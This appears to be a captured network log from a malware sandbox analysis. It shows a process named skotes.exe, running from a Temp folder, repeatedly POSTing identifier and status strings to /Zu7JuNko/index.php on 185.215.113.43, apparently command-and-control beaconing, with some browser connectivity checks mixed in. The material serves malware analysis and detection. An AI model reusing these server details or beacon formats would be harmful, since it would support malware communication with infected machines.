Nov 21, 2024 03:11:20.729832888 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 20 Nov 2024 08:23:05 GMT Age: 64095 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 21, 2024 03:11:30.641864061 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 21, 2024 03:11:30.732114077 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 21, 2024 03:11:30.956811905 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 20 Nov 2024 08:23:05 GMT Age: 64105 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 21, 2024 03:11:32.198328972 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 21, 2024 03:11:32.513252020 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 20 Nov 2024 08:23:05 GMT Age: 64107 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 21, 2024 03:11:41.867949963 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 21, 2024 03:11:42.183367968 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 20 Nov 2024 08:23:05 GMT Age: 64117 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 21, 2024 03:11:52.244889975 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 21, 2024 03:11:53.415656090 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 21, 2024 03:11:53.730289936 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 20 Nov 2024 08:23:05 GMT Age: 64128 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 21, 2024 03:12:00.878988028 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 21, 2024 03:12:01.194310904 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 20 Nov 2024 08:23:05 GMT Age: 64136 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 21, 2024 03:12:02.099708080 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 21, 2024 03:12:02.414376020 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 20 Nov 2024 08:23:05 GMT Age: 64137 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 21, 2024 03:12:12.435919046 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 21, 2024 03:12:22.638766050 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 21, 2024 03:12:23.417711020 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 21, 2024 03:12:23.733824015 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 20 Nov 2024 08:23:05 GMT Age: 64158 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 21, 2024 03:12:33.745572090 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 21, 2024 03:12:43.930707932 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 21, 2024 03:12:54.138746023 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 21, 2024 03:13:04.335056067 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 21, 2024 03:13:14.530103922 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 21, 2024 03:13:46.339906931 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 21, 2024 03:13:46.655668020 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 20 Nov 2024 08:23:05 GMT Age: 64241 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 21, 2024 03:14:03.827603102 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 21, 2024 03:14:04.142569065 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 20 Nov 2024 08:23:05 GMT Age: 64258 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.5	50199	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:11:07.359265089 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 21, 2024 03:11:08.810796976 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:11:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.5	50202	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:11:10.585623026 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 21, 2024 03:11:11.940088987 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:11:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.5	50205	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:11:13.581644058 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 21, 2024 03:11:14.923460960 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:11:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.5	50208	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:11:16.661181927 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 21, 2024 03:11:18.017393112 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:11:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.5	50212	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:11:19.659434080 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 21, 2024 03:11:21.018799067 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:11:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.5	50215	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:11:22.761699915 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 21, 2024 03:11:24.100016117 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:11:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.5	50218	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:11:25.741695881 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 21, 2024 03:11:27.083971024 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:11:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.5	50222	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:11:28.821907043 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 21, 2024 03:11:30.223835945 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:11:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.5	50234	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:11:31.861067057 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 21, 2024 03:11:33.205657005 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:11:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.5	50238	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:11:34.941627026 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.5	50241	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:11:36.935745955 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 21, 2024 03:11:38.341150999 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:11:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.5	50245	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:11:40.095366955 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 21, 2024 03:11:41.529512882 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:11:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.5	50249	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:11:43.169770002 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 21, 2024 03:11:44.558649063 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:11:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.5	50252	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:11:46.309345007 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 21, 2024 03:11:47.712147951 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:11:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.5	50255	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:11:49.349818945 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 21, 2024 03:11:50.738358974 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:11:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.5	50258	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:11:52.489183903 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 21, 2024 03:11:53.935736895 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:11:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.5	50261	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:11:55.572299957 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 21, 2024 03:11:56.932215929 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:11:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.5	50264	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
